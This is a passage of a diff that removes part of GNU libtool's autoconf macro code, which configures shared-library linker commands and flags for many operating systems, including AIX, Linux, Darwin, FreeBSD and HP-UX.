- interix*)
- # we just hope/assume this is gcc and not c89 (= MSVC++)
- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
- esac
-
- _LT_AC_TAGVAR(ld_shlibs, $1)=yes
- if test "$with_gnu_ld" = yes; then
- # If archive_cmds runs LD, not CC, wlarc should be empty
- wlarc='${wl}'
-
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
- # here allows them to be overridden if necessary.
- runpath_var=LD_RUN_PATH
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
- # ancient GNU ld didn't support --whole-archive et. al.
- if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
- fi
- supports_anon_versioning=no
- case `$LD -v 2>/dev/null` in
- *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.10.*) ;; # catch versions < 2.11
- *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
- *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
- *\ 2.11.*) ;; # other 2.11 versions
- *) supports_anon_versioning=yes ;;
- esac
-
- # See if GNU ld supports shared libraries.
- case $host_os in
- aix3* | aix4* | aix5*)
- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- cat <<EOF 1>&2
-
-*** Warning: the GNU linker, at least up to release 2.9.1, is reported
-*** to be unable to reliably create shared libraries on AIX.
-*** Therefore, libtool is disabling shared libraries support. If you
-*** really care for shared libraries, you may want to modify your PATH
-*** so that a non-GNU linker is found, and then restart.
-
-EOF
- fi
- ;;
-
- amigaos*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
-
- # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
- # that the semantics of dynamic libraries on AmigaOS, at least up
- # to version 4, is to share data among multiple programs linked
- # with the same dynamic library. Since this doesn't match the
- # behavior of shared libraries on other platforms, we can't use
- # them.
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
- # as there is no search path for DLLs.
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- _LT_AC_TAGVAR(always_export_symbols, $1)=no
- _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]] /s/.* \([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols'
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
-
- interix3*)
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
-
- linux*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- tmp_addflag=
- case $cc_basename,$host_cpu in
- pgcc*) # Portland Group C compiler
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag'
- ;;
- pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag -Mnomain' ;;
- ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64
- tmp_addflag=' -i_dynamic' ;;
- efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64
- tmp_addflag=' -i_dynamic -nofor_main' ;;
- ifc* | ifort*) # Intel Fortran compiler
- tmp_addflag=' -nofor_main' ;;
- esac
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-
- if test $supports_anon_versioning = yes; then
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- $echo "local: *; };" >> $output_objdir/$libname.ver~
- $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
- fi
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- cat <<EOF 1>&2
-
-*** Warning: The releases 2.8.* of the GNU linker cannot reliably
-*** create shared libraries on Solaris systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.9.1 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-EOF
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
- *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.1[[0-5]].*)
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- cat <<_LT_EOF 1>&2
-
-*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
-*** reliably create shared libraries on SCO systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.16.91.0.3 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-_LT_EOF
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
- ;;
-
- sunos4*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- wlarc=
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
-
- if test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no; then
- runpath_var=
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
- fi
- else
- # PORTME fill in a description of your system's linker (not GNU ld)
- case $host_os in
- aix3*)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- _LT_AC_TAGVAR(always_export_symbols, $1)=yes
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported
- fi
- ;;
-
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
- else
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
- fi
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- _LT_AC_TAGVAR(archive_cmds, $1)=''
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':'
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
-
- if test "$GCC" = yes; then
- case $host_os in aix4.[[012]]|aix4.[[012]].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- else
- # We have old collect2
- _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- _LT_AC_TAGVAR(always_export_symbols, $1)=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- _LT_AC_SYS_LIBPATH_AIX
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)="-z nodefs"
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- _LT_AC_SYS_LIBPATH_AIX
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='$convenience'
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- amigaos*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- # see comment about different semantics on the GNU ld section
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
-
- bsdi[[45]]*)
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=-rdynamic
- ;;
-
- cygwin* | mingw* | pw32*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- # Tell ltmain to make .lib files, not .a files.
- libext=lib
- # Tell ltmain to make .dll files, not .so files.
- shrext_cmds=".dll"
- # FIXME: Setting linknames here is a bad hack.
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
- # The linker will automatically build a .lib file if we build a DLL.
- _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)='true'
- # FIXME: Should let the user specify the lib program.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='lib /OUT:$oldlib$oldobjs$old_deplibs'
- _LT_AC_TAGVAR(fix_srcfile_path, $1)='`cygpath -w "$srcfile"`'
- _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
- ;;
-
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[[012]])
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[[012]])
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_automatic, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=''
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- if test "$GCC" = yes ; then
- output_verbose_link_cmd='echo'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- freebsd1*)
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
-
- # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
- # support. Future versions do this automatically, but an explicit c++rt0.o
- # does not break anything, and helps significantly (at the cost of a little
- # extra space).
- freebsd2.2*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- # Unfortunately, older versions of FreeBSD 2 do not have this feature.
- freebsd2*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | kfreebsd*-gnu | dragonfly*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- hpux9*)
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- ;;
-
- hpux10*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
- if test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- fi
- ;;
-
- hpux11*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- case $host_cpu in
- hppa*64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
- case $host_cpu in
- hppa*64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- fi
- if test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
- *)
